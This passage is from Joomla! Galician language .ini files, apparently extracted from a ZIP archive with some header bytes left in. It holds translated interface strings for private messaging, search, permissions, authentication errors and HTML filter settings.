mensaxe." COM_MESSAGES_FIELD_MESSAGE_LABEL="Mensaxe" COM_MESSAGES_FIELD_SUBJECT_DESC="Debe inserir un asunto." COM_MESSAGES_FIELD_SUBJECT_LABEL="Asunto" COM_MESSAGES_FIELD_USER_ID_FROM_LABEL="De" COM_MESSAGES_FIELD_USER_ID_TO_DESC="Debe indicar un destinatario." COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Destinatario" COM_MESSAGES_HEADING_FROM="De" COM_MESSAGES_HEADING_READ="Lida" COM_MESSAGES_HEADING_SUBJECT="Asunto" COM_MESSAGES_INVALID_REPLY_ID="Destinatario non válido" COM_MESSAGES_MANAGER_MESSAGES="Xestor de mensaxes privados: Mensaxes" COM_MESSAGES_MARK_AS_READ="Marcar como lido" COM_MESSAGES_MARK_AS_UNREAD="Marcar como non lido" COM_MESSAGES_MY_SETTINGS="Miña configuración" COM_MESSAGES_N_ITEMS_DELETED="%d mensaxes eliminadas con éxito" COM_MESSAGES_N_ITEMS_DELETED_1="Mensaxe eliminado con éxito" COM_MESSAGES_N_ITEMS_PUBLISHED="%d mensaxes marcadas como lidas con éxito" COM_MESSAGES_N_ITEMS_PUBLISHED_1="Mensaxe marcada como lida con éxito" COM_MESSAGES_N_ITEMS_TRASHED="%d mensaxes enviadas ao lixo con éxito" COM_MESSAGES_N_ITEMS_TRASHED_1="Mensaxe enviada ao lixo con éxito" COM_MESSAGES_N_ITEMS_UNPUBLISHED="%d mensaxes marcadas como non lidas con éxito" COM_MESSAGES_N_ITEMS_UNPUBLISHED_1="Mensaxe marcada como non lida con éxito" COM_MESSAGES_NEW_MESSAGE_ARRIVED="Chegou unha nova mensaxe privada de %s" COM_MESSAGES_NO_ITEM_SELECTED="Ningunha mensaxe escollida" COM_MESSAGES_OPTION_READ="Lida" COM_MESSAGES_OPTION_UNREAD="Non lidas" COM_MESSAGES_PLEASE_LOGIN="Identifíquese para %s para ler súa mensaxe." COM_MESSAGES_RE="Re:" COM_MESSAGES_READ="Ler mensaxes privadas" COM_MESSAGES_READ_PRIVATE_MESSAGE="Ler mensaxe privada" COM_MESSAGES_SEARCH_IN_SUBJECT="Buscar no asunto ou na descrición da mensaxe " COM_MESSAGES_TOOLBAR_MARK_AS_READ="Marcar como lido" COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD="Marcar como non lido" COM_MESSAGES_TOOLBAR_MY_SETTINGS="Miña configuración" COM_MESSAGES_TOOLBAR_REPLY="Responder" COM_MESSAGES_TOOLBAR_SEND="Enviar" COM_MESSAGES_VIEW_PRIVATE_MESSAGE="Xestor de mensaxes privadas: Ver mensaxe" COM_MESSAGES_WRITE_PRIVATE_MESSAGE="Xestor de mensaxes privadas: Escribir unha mensaxe privada" COM_MESSAGES_XML_DESCRIPTION="Compoñente para permitir mensaxes privadas na administración do sitio" JLIB_APPLICATION_SAVE_SUCCESS="Mensaxe enviada con éxito." JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\ie,language/gl-ES/gl-ES.plg_search_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Buscar - Ligazóns web" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_DESC="Número de elementos da busca a devolver" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_LABEL="Límite da busca" PLG_SEARCH_WEBLINKS_WEBLINKS="Ligazóns web" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Ligazóns web" PK@y>\~\\language/gl-ES/gl-ES.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : erro(s) na liña(s) %s" J1="1" J2="2" J3="3" J4="4" J5="5" J6="6" J7="7" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" J75="75" J100="100" J150="150" J200="200" J250="250" J300="300" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" ERROR="Erro" MESSAGE="Mensaxe" NOTICE="Noticia" WARNING="Aviso" JADMINISTRATION="Administración" JADMINISTRATOR="Administrador" JALL="Todos" JALL_LANGUAGE="Todos" JAPPLY="Gardar" JARCHIVED="Arquivado" JAUTHOR="Autor" JCANCEL="Cancelar" JCATEGORIES="Categorías" JCATEGORY="Categoría" JCLEAR="Limpar" JCLIENT="Localización" JCONFIG_PERMISSIONS_DESC="Permisos predeterminados a empregar para todo o contido deste compoñente." JCONFIG_PERMISSIONS_LABEL="Permisos" JCURRENT="Actual" JDATE="Data" JDEFAULT="Predeterminado" JDETAILS="Detalles" JDISABLED="Desactivado" JENABLED="Activado" JFALSE="Falso" JFEATURED="Destacado" JHELP="Axuda" JHIDE="Agochar" JINVALID_TOKEN="As solicitudes máis recentes foron denegadas porque contiñan un identificador de seguridade non válido. Actualice a páxina e inténteo novamente." JLOGIN="Identificarse" JLOGOUT="Saír ao anonimato" JMODIFY="Modificar" JNEVER="xamais" JNEXT="Seguinte" JNO="Non" JNONE="Ningún" JOFF="Apagado" JON="Activado" JOPTIONS="Opcións" JPREV="Prev" JPREVIOUS="Previo" JPROTECTED="Protexido" JPUBLISHED="Publicado" JRECORD_NUMBER="Número de rexistro" JREGISTER="Rexistrarse" JSAVE="Save & Close" JSELECT="Escoller" JSTATUS="Estado" JSHOW="Amosar" JSITE="Sitio" JSUBMIT="Enviar" JTRASH="Papeleira" JTRASHED="Enviado á paleira" JTRUE="Verdadeiro" JUNARCHIVE="Desarquivar" JUNDEFINED="Indefinido" JUNPUBLISHED="Despublicado" JVERSION="Versión" JYES="Si" JACTION_ADMIN="Configurar" JACTION_ADMIN_COMPONENT_DESC="Permite aos usuario do grupo modificar as opcións desta extensión." JACTION_ADMIN_GLOBAL="Súper administrador" JACTION_ADMIN_GLOBAL_DESC="Permite aos usuario do grupo realizar calquera acción independentemente do configurado noutros sitios." JACTION_COMPONENT_SETTINGS="Configuración de compoñentes" JACTION_CREATE="Crear" JACTION_CREATE_COMPONENT_DESC="Permite aos usuarios do grupo crear calquera contido nesta extensión." JACTION_DELETE="Borrar" JACTION_DELETE_COMPONENT_DESC="Permite aos usuarios do grupo borrar calquera contido nesta extensión." JACTION_EDIT="Modificar" JACTION_EDIT_COMPONENT_DESC="Permite aos usuarios do grupo modificar calquera contido nesta extensión." JACTION_EDITOWN="Modificar propietario" JACTION_EDITOWN_COMPONENT_DESC="Permite aos usuarios do grupo modificar calquera contido que eles enviaran nesta extensión." JACTION_EDITSTATE="Modificar estado" JACTION_EDITSTATE_COMPONENT_DESC="Permite aos usuarios do grupo mudar o estado de callquera contido nesta extensión." JACTION_LOGIN_ADMIN="Identificarse na administración" JACTION_LOGIN_OFFLINE="Acceso fora de liña" JACTION_LOGIN_SITE="Identificarse na portada" JACTION_MANAGE="Acceso á interface de administración" JACTION_MANAGE_COMPONENT_DESC="Permite aos usuarios do grupo acceder á interface de administración desta extensión." JBROWSERTARGET_MODAL="Modal" JBROWSERTARGET_NEW="Abrir nunha nova xanela" JBROWSERTARGET_PARENT="Abrir na mesma xanela" JBROWSERTARGET_POPUP="Abrir nunha xanela emerxente" JERROR_ALERTNOAUTHOR="Non está autorizado a ver este contido." JERROR_AN_ERROR_HAS_OCCURRED="Produciuse un erro." JERROR_CORE_DELETE_NOT_PERMITTED="Non está permitido eliminar" JERROR_INVALID_CONTROLLER="Controlador non válido" JERROR_INVALID_CONTROLLER_CLASS="Clase do controlador non válida" JERROR_LOADFILE_FAILED="Produciuse un erro cargando o ficheiro" JERROR_LOADING_MENUS="Produciuse un erro cargando os menús: %s" JERROR_LOGIN_DENIED="Non ten permiso de acceso á administración deste sitio." JERROR_NO_ITEMS_SELECTED="Sen elemento(s) seleccionado(s)." JERROR_NOLOGIN_BLOCKED="Acceso denegado! A súa conta está bloqueada ou aínda non foi activada." JERROR_SAVE_FAILED="Non foi posíbel gardar os datos. Erro: %s" JFIELD_ACCESS_DESC="O nivel de acceso do grupo que ten permitido ver este elemento." JFIELD_ACCESS_LABEL="Acceso" JFIELD_ALIAS_DESC="Empregarase o alcume no URL SEF (amigábel). Deixe isto en branco e Joomla! encherao de xeito predeterminado co título. Este valor dependerá das opcións de SEO (Configuración global->Sitio).
              Empregando unicode producirá alcumes en UTF-8. Tamén pode inserir de xeito manual calquera carácter UTF-8. Os espazos e caracteres prohibidos mudaranse por guións.
              O emprego da transliteración predeterminada, producirá alcumes en minúsculas con guións medios no canto de espazos. Pode inserir manualmente o alcume. Empregue letras en minúscula e guións (-). Non se permiten nin espazos nin guións baixos. Se o título non contén caracteres latinos, empregarase de xeito predeterminado a data e hora." JFIELD_ALIAS_LABEL="Alcume" JFIELD_ALT_COMPONENT_LAYOUT_DESC="Empregue unha presentación diferente á predeterminada do compoñente ou sobrescríbaa creando ou modificando as vistas desde o tema. " JFIELD_ALT_LAYOUT_LABEL="Presentación alternativa" JFIELD_ALT_MODULE_LAYOUT_DESC="Empregar unha presentación diferente á predeterminada do módulo ou sobrescríbaa creando ou modificando as vistas desde o tema." JFIELD_ALT_PAGE_TITLE_DESC="Un título alternativo para asignar á páxina de mudará a etiqueta 'TITLE' na saída HTML." JFIELD_ALT_PAGE_TITLE_LABEL="Título alternativo da páxina" JFIELD_BASIS_LOGIN_DESCRIPTION_DESC="Texto a amosar na páxina de identificación" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Texto descritivo da identificación" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC="Amosar/Agochar o texto descritivo da páxina de identificación" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Texto descritivo da identificación" JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC="Texto para a páxina de saída ao anonimato" JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL="Texto descritivo para a saída ao anonimato " JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC="Amosar/Agochar a descrición da saída ao anonimato" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL="Texto de saída ao anonimato" JFIELD_CATEGORY_DESC="A categoría á que está asignado este elemento." JFIELD_ENABLED_DESC="Estado de activación deste elemento" JFIELD_KEY_REFERENCE_DESC="Usado para almacenar información de referencia a un recurso externo" JFIELD_KEY_REFERENCE_LABEL="Identificador referencia" JFIELD_LANGUAGE_DESC="Asignar un idioma a este artigo." JFIELD_LANGUAGE_LABEL="Idioma" JFIELD_LOGIN_IMAGE_DESC="Imaxe a amosar na páxina de identificación" JFIELD_LOGIN_IMAGE_LABEL="Imaxe de identificación" JFIELD_LOGIN_REDIRECT_URL_DESC="Se insire un URL aquí, os usuarios será redireccionados a dito URL despois de identificarse. O URL non debe ser a fora do sitio." JFIELD_LOGIN_REDIRECT_URL_LABEL="Redirección de identificación" JFIELD_LOGOUT_IMAGE_DESC="Imaxe a amosar na páxina de saír ao anonimato" JFIELD_LOGOUT_IMAGE_LABEL="Imaxe de saír ao anonimato" JFIELD_LOGOUT_REDIRECT_URL_DESC="Se insire un URL aquí, os usuarios será redireccionados a dito URL despois de saír ao anonimato. O URL non debe ser a fora do sitio." JFIELD_LOGOUT_REDIRECT_URL_LABEL="Redirección da saír ao anonimato" JFIELD_META_DESCRIPTION_DESC="Un paragrafo opcional para empregarse a modo de descrición da páxina, con saída en HTML. Esta empregarase normalmente nos resultados dos motores de busca." JFIELD_META_DESCRIPTION_LABEL="Descrición meta" JFIELD_META_KEYWORDS_DESC="Unha lista opcional de palabras clave ou frases separadas por unha vírgula que se empregará na saída HTML." JFIELD_META_KEYWORDS_LABEL="Meta palabras clave" JFIELD_META_RIGHTS_DESC="Describe que dereitos teñen os demais para empregar este contido." JFIELD_META_RIGHTS_LABEL="Dereitos do contido" JFIELD_METADATA_AUTHOR_DESC="O autor deste contido" JFIELD_METADATA_RIGHTS_DESC="Dereitos de publicación para este artigo" JFIELD_METADATA_RIGHTS_LABEL="Dereitos" JFIELD_METADATA_ROBOTS_DESC="Instrucións para os robots" JFIELD_METADATA_ROBOTS_LABEL="Robots" JFIELD_METADATA_XREFERENCE_DESC="Unha referencia opcional empregada para ligar a fontes de datos externos." JFIELD_METADATA_XREFERENCE_LABEL="Referencia cruzada" JFIELD_MODULE_LANGUAGE_DESC="Asigne un idioma a este módulo. " JFIELD_NOTE_DESC="Nota" JFIELD_NOTE_LABEL="Nota" JFIELD_OPTION_NONE="Ningún" JFIELD_ORDERING_DESC="Seleccione a orde" JFIELD_ORDERING_LABEL="Orde" JFIELD_PARAMS_LABEL="Opcións" JFIELD_PLG_SEARCH_ALL_DESC="Integrar os elementos publicados na busca" JFIELD_PLG_SEARCH_ALL_LABEL="Buscar publicados" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Integrar os elementos arquivados na busca" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Buscar arquivados" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Asigne o número máximo de resultados a retornar." JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Límite da busca" JFIELD_PUBLISHED_DESC="Asigne o estado da publicación." JFIELD_READMORE_DESC="Engada un texto persolalizado no canto de Ler máis" JFIELD_READMORE_LABEL="Texto Ler máis" JFIELD_SPACER_LABEL="
              " JFIELD_TITLE_DESC="Título" JFIELD_XREFERENCE_DESC="Un campo opcional que, se é preciso, permite que este rexistro sexa unha referencia cruzada a un sistema de datos externos." JFIELD_XREFERENCE_LABEL="Referencia externa." JGLOBAL_ACROSS="Cruzado" JGLOBAL_ACTION_PERMISSIONS_LABEL="Permisos" JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION="Dereitos de acción para este recurso." JGLOBAL_ALL_ARTICLE="Nivel máximo de artigos" JGLOBAL_ALL_LIST="Nivel máximo como lista" JGLOBAL_ALLOW_COMMENTS_DESC="Activar/Desactivar ver e engadir comentarios nos artigos." JGLOBAL_ALLOW_COMMENTS_LABEL="Permitir comentarios" JGLOBAL_ALLOW_RATINGS_DESC="Activar/Desactivar as votacións nos artigos." JGLOBAL_ALLOW_RATINGS_LABEL="Permitir votacións" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC="Insira un valor numérico para o límite de caracteres. O texto introdutorio será recortado ao número de caracteres indicados." JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL=" Límite do texto introdutorio" JGLOBAL_ARCHIVE_OPTIONS="Opcións do arquivo" JGLOBAL_ARTICLE_COUNT_DESC="Amosar/Agochar a conta de artigos que hai en cada categoría." JGLOBAL_ARTICLE_COUNT_LABEL="Conta de artigos" JGLOBAL_ARTICLE_MANAGER_ORDER="Orde" JGLOBAL_ARTICLE_MUST_HAVE_TEXT="O artigo ha de ter algún contido." JGLOBAL_ARTICLE_ORDER_DESC="A orde na que serán amosados os artigos." JGLOBAL_ARTICLE_ORDER_LABEL="Orde dos artigos" JGLOBAL_ARTICLES="Artigos" JGLOBAL_AUTH_ACCESS_DENIED="Acceso denegado" JGLOBAL_AUTH_ACCESS_GRANTED="Acceso permitido" JGLOBAL_AUTH_BIND_FAILED="Produciuse un fallo ao conectar co servidor LDAP" JGLOBAL_AUTH_CANCEL="Cancelouse a autenticación" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="A clave non pode ser baleira" JGLOBAL_AUTH_FAIL="Fallou a autenticación" JGLOBAL_AUTH_FAILED="Fallou a autenticación: %s" JGLOBAL_AUTH_INCORRECT="Non é válido o usuario ou a clave" JGLOBAL_AUTH_INVALID_PASS="O nome de usuario e a clave non coinciden ou aínda non ten unha conta." JGLOBAL_AUTH_NO_BIND="Non foi posíbel conectar co LDAP" JGLOBAL_AUTH_NO_CONNECT="Non foi posíbel conectar co servidor LDAP" JGLOBAL_AUTH_NO_REDIRECT="Non foi posíbel reencamiñar ao servidor: %s" JGLOBAL_AUTH_NO_USER="O nome de usuario e a clave non coinciden ou aínda non ten unha conta." JGLOBAL_AUTH_NOT_CREATE_DIR="Non foi posíbel crear o cartafol %s FileStore. Por favor verifique que os permisos sexan correctos." JGLOBAL_AUTH_PASS_BLANK="LDAP non pode ter unha clave baleira" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Resultado descoñecido. Acceso denegado." JGLOBAL_AUTH_USER_BLACKLISTED="O usuario está na listaxe negra" JGLOBAL_AUTH_USER_NOT_FOUND="Non foi posíbel atopar o usuario" JGLOBAL_AUTHOR_ALPHABETICAL="Autor alfabético" JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Autor alfabético invertido" JGLOBAL_AUTO="Auto" JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Non foi posíbel atopar o destino pai para este movemento." JGLOBAL_BATCH_PROCESS="Proceso" JGLOBAL_BLOG="Blogue" JGLOBAL_BLOG_LAYOUT_OPTIONS="Opcións da presentación blogue" JGLOBAL_CATEGORIES_OPTIONS="Opcións das categorías" JGLOBAL_CATEGORY_LAYOUT_DESC="Presentación" JGLOBAL_CATEGORY_LAYOUT_LABEL="Choose a layout" JGLOBAL_CATEGORY_MANAGER_ORDER="Opcións da orde de categorías" JGLOBAL_CATEGORY_NOT_FOUND="Non se atopou a categoría" JGLOBAL_CATEGORY_OPTIONS="Opcións de categoría" JGLOBAL_CATEGORY_ORDER_DESC="A orde na que serán amosadas as categorías." JGLOBAL_CATEGORY_ORDER_LABEL="Orde das categorías" JGLOBAL_CENTER="Centrar" JGLOBAL_CHOOSE_CATEGORY_DESC="Escolla unha categoría da lista" JGLOBAL_CHOOSE_CATEGORY_LABEL="Escolla unha categoría" JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Prema para ordenar por esta columna" JGLOBAL_CLICK_TO_TOGGLE_STATE="Prema a icona para mudar o estado." JGLOBAL_COPY="(copia)" JGLOBAL_CREATED="Creado" JGLOBAL_CREATED_DATE="Data de creación" JGLOBAL_DATE_FORMAT_DESC="Formato opcional para amosar a data. Se se deixa en branco, empregarase a definición para 'DATE_FORMAT_LC1' que hai no arquivo do idioma (por exemplo, 'D M Y' para 'día mes ano' ou, pode empregar 'd-m-y' para a versión abreviada: '10-07-10'. Para máis información vexa: http://www.php.net/manual/en/function.date.php)." JGLOBAL_DATE_FORMAT_LABEL="Formato da data" JGLOBAL_DESCRIPTION="Descrición" JGLOBAL_DISPLAY_NUM="Amosar #" JGLOBAL_DISPLAY_SELECT_DESC="Amosar/Agochar a lista de selección despregábel que permite configurar cantos elementos amosar por páxina." JGLOBAL_DISPLAY_SELECT_LABEL="Seleccionar a cantidade a amosar" JGLOBAL_DOWN="Abaixo" JGLOBAL_EDIT_ITEM="Modificar elemento" JGLOBAL_EDIT_PREFERENCES="Modificar preferencias" JGLOBAL_EMAIL="Correo electrónico" JGLOBAL_EMPTY_CATEGORIES_DESC="Amosar/Agochar as categorías que non conteñan nin artigos nin subcategorías." JGLOBAL_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insuficiente información para executar o proceso por lotes" JGLOBAL_FEED_SHOW_READMORE_DESC="Amosar unha ligazón "Ler máis" nas sementes se se amosa o texto de introdución." JGLOBAL_FEED_SHOW_READMORE_LABEL="Amosar "Ler máis..."" JGLOBAL_FEED_SUMMARY_DESC="Se está configurado como texto introdutorio, só se amosará o texto introdutorio de cada artigo na semente de noticias mentres que se establece texto completo, amosarase o artigo enteiro." JGLOBAL_FEED_SUMMARY_LABEL="Para cada elemento da semente amosar" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Amosaranse as categorías que están dentro desta categoría." JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Seleccionar a categoría principal" JGLOBAL_FIELD_CATEGORIES_DESC_DESC="Se insire algún texto neste campo, substituirá a descrición da categoría principal, de tela." JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Top Level Category Description" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Empregar outro nome de autor para amosar" JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Alcume do autor" JGLOBAL_FIELD_CREATED_BY_DESC="Autor do artigo" JGLOBAL_FIELD_CREATED_BY_LABEL="Creado por" JGLOBAL_FIELD_CREATED_DESC="Data de creación" JGLOBAL_FIELD_CREATED_LABEL="Data de creación" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="O número de minutos que a caché tardará en actualizarse." JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Orde" JGLOBAL_FIELD_ID_DESC="Número de rexistro (identificación) na base de datos" JGLOBAL_FIELD_ID_LABEL="ID" JGLOBAL_FIELD_LAYOUT_DESC="Presentación predeterminada a empregar cos artigos" JGLOBAL_FIELD_LAYOUT_LABEL="Choose a layout" JGLOBAL_FIELD_MODIFIED_LABEL="Data de modificación" JGLOBAL_FIELD_MODIFIED_BY_DESC="O usuario que fixo a última modificación" JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modificado por" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Número de categorías a amosar en cada nivel" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Número de categorías" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="Unha data opcional para deter a publicación" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Fin da publicación" JGLOBAL_FIELD_PUBLISH_UP_DESC="Unha data opcional para comezar a publicación" JGLOBAL_FIELD_PUBLISH_UP_LABEL="Comezo da publicación" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Amosa a descrición da categoría principal ou opcionalmente substitúe co texto do campo descrición achado no elemento do menú. Se a categoría principal é de primeiro nivel ou raíz ten que encher o campo descrición." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Top Level Category Description" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Amosar opcións" JGLOBAL_FIELDSET_METADATA_OPTIONS="Opcións dos metadatos" JGLOBAL_FIELDSET_OPTIONS="Opcións" JGLOBAL_FIELDSET_PUBLISHING="Opcións de publicación" JGLOBAL_FILTER_ATTRIBUTES_DESC="Lista de atributos adicionais, separados por un espazo ou vírgula." JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filtrar os atributos" JGLOBAL_FILTER_CLIENT="- Escoller localización -" JGLOBAL_FILTER_FIELD_DESC="Amosar/Agochar o campo de filtro para a listaxe de artigos. Seleccione o campo que desexa filtrar." JGLOBAL_FILTER_FIELD_LABEL="Campo filtro" JGLOBAL_FILTER_GROUPS_DESC="Asigna o grupo de usuarios ao que quere que se aplique o filtro. Outros grupos non disporán de tal posibilidade." JGLOBAL_FILTER_GROUPS_LABEL="Filtrar grupos" JGLOBAL_FILTER_TAGS_DESC="Lista adicional de etiquetas, separando cada unha con espazo ou vírgula." JGLOBAL_FILTER_TAGS_LABEL="Filtrar etiquetas" JGLOBAL_FILTER_TYPE_DESC="

              A lista negra permite todas as etiquetas e atributos excepto estes que están na lista negra.
              -- A lista negra predeterminada inclúe as etiquetas: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
              -- A lista negra predeterminada inclúe os atributos: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc'
              -- Pode engadir etiquetas e atributos adicionais á lista negra introducíndoos nos campos 'Filtrar etiquetas' e 'Filtrar atributos', separando cada etiqueta ou atributo mediante vírgula.
              -- A lista negra personalizada substitúe a lista predeterminada. Engada as etiquetas e atributos a incluír na lista negra a traveso dos campos 'Filtro de etiquetas' e 'Filtro de atributos'.

              A lista branca permite só as etiquetas que están nos campos 'Filtro de etiquetas' e 'Filtro de atributos'.

              'Sen HTML' elimina todas as etiquetas HTML do contido cando este é gardado.

              Nota: estas opcións, a menos que se indique outra cousa, traballan desde a configuración do editor que se estea a usar.
              Amais se está a usar un editor WYSIWYG, as opcións do filtro poden recortar etiquetas e atributos adicionais antes de que a información sexa gardada na base de datos.

              " JGLOBAL_FILTER_TYPE_LABEL="Filtrar os tipos" JGLOBAL_FULL_TEXT="Texto completo" JGLOBAL_GT=">" JGLOBAL_HITS="Accesos" JGLOBAL_INDEX_FOLLOW="Seguir con indexación" JGLOBAL_INDEX_NOFOLLOW="Non seguir con indexación" JGLOBAL_INHERIT="Herdar" JGLOBAL_INTEGRATION_LABEL="Integración" JGLOBAL_INTRO_TEXT="Texto de introdución" JGLOBAL_ISFREESOFTWARE="%s é software libre liberado baixo a GNU Licenza Pública Xeral." JGLOBAL_LEAST_HITS="Menos accedido" JGLOBAL_LEFT="Esquerda" JGLOBAL_LINK_AUTHOR_DESC="Activar/Desactivar a ligazón do nome do autor do artigo a súa páxina de contacto. Ten que crear un contacto ligado ao nome de usuario do autor. Esta é unha opción global pero pode ser mudada nas opcións de configuración da categoría, menú e artigo." JGLOBAL_LINK_AUTHOR_LABEL="Autor ligábel" JGLOBAL_LINK_CATEGORY_DESC="Activar/Desactivar a ligazón do título da categoría para visualizar a lista dos seus artigos." JGLOBAL_LINK_CATEGORY_LABEL="Categoría ligábel" JGLOBAL_LINK_PARENT_CATEGORY_DESC="Activar/Desactivar a ligazón do título da categoría pai para visualizar a lista dos seus artigos." JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Categoría pai ligábel" JGLOBAL_LINKED_TITLES_DESC="Activar/Desactivar a ligazón do título para o artigo completo." JGLOBAL_LINKED_TITLES_LABEL="Títulos ligables" JGLOBAL_LIST="Lista" JGLOBAL_LIST_ALIAS="(Alcume: %s)" JGLOBAL_LIST_ALIAS_NOTE="(Alcume: %s, Nota: %s)" JGLOBAL_LIST_AUTHOR_DESC="Amosar/Agochar o autor de artigo na lista de artigos." JGLOBAL_LIST_AUTHOR_LABEL="Amosar autor na lista" JGLOBAL_LIST_HITS_DESC="Amosar/agochar as veces que se veu o artigo na lista de artigos." JGLOBAL_LIST_HITS_LABEL="Amosar accesos na lista" JGLOBAL_LIST_LAYOUT_OPTIONS="Presentacións da lista" JGLOBAL_LIST_NOTE="(Nota: %s)" JGLOBAL_LIST_TITLE_DESC="Amosar/Agochar o título da categoría na lista de catogorías." JGLOBAL_LIST_TITLE_LABEL="Category Title" JGLOBAL_LT="<" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="Números de niveis de subcategoría a amosar." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Subcategory Levels" JGLOBAL_MAXLEVEL_DESC="Máximo número de subcategorías a amosar." JGLOBAL_MAXLEVEL_LABEL="Subcategory Levels" JGLOBAL_MENU_SELECTION="Selección de menús:" JGLOBAL_MODIFIED="Modificado" JGLOBAL_MOST_HITS="Máis accedidos" JGLOBAL_MOST_RECENT_FIRST="Máis recentes primeiro" JGLOBAL_MULTI_COLUMN_ORDER_DESC="Ordena os elementos en varias columnas" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Ordenar por varias columnas" JGLOBAL_MULTI_LEVEL="Nivel múltiple" JGLOBAL_NEWITEMSFIRST_DESC="Os novos elementos irán á primeira posición de xeito predeterminado. A orde pódese mudar unha vez se garden." JGLOBAL_NEWITEMSLAST_DESC="Os novos elementos irán á última posición de xeito predeterminado. A orde pódese mudar unha vez se garden." JGLOBAL_NO_ITEM_SELECTED="Ningún elemento seleccionado" JGLOBAL_NO_ORDER="Sen orde" JGLOBAL_NOINDEX_FOLLOW="Seguir sen indexar" JGLOBAL_NOINDEX_NOFOLLOW="Non seguir e non indexar" JGLOBAL_NUM_COLUMNS_DESC="O número de columnas nas que se amosarán os artigos. Normalmente 1, 2 ou 3." JGLOBAL_NUM_COLUMNS_LABEL="Número de columnas" JGLOBAL_NUM_INTRO_ARTICLES_DESC="Número de artigos a amosar despois do artigo principal. Os artigos amosaranse en columnas." JGLOBAL_NUM_INTRO_ARTICLES_LABEL="Número de artigos de introdución" JGLOBAL_NUM_LEADING_ARTICLES_DESC="Numero de artigos de introdución a amosar a toda largura ao comezo da páxina." JGLOBAL_NUM_LEADING_ARTICLES_LABEL="Número de artigos principais" JGLOBAL_NUM_LINKS_DESC="Número de artigos a amosar como ligazóns, normalmente de seguido dos artigos de introdución." JGLOBAL_NUM_LINKS_LABEL="Número de ligazóns" JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="Amosar/Agochar o número de artigos na categoría." JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Amosar o número de artigos" JGLOBAL_NUMBER_ITEMS_LIST_DESC="Numero de artigos predeterminados a listar na páxina. " JGLOBAL_NUMBER_ITEMS_LIST_LABEL="Número de artigos a listar" JGLOBAL_OLDEST_FIRST="Primeiro os máis antigos" JGLOBAL_ORDERING="Xestor da orde de artigos" JGLOBAL_ORDERING_DATE_DESC="Se os artigos son ordenados por data, o tipo de data a 